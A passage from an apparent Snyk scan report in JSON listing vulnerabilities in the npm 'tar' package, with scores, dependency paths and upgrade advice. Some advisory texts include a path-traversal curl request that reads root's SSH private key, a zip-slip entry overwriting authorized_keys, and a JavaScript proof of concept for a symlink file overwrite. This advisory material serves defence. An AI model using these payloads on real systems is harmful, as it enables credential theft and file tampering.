attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": 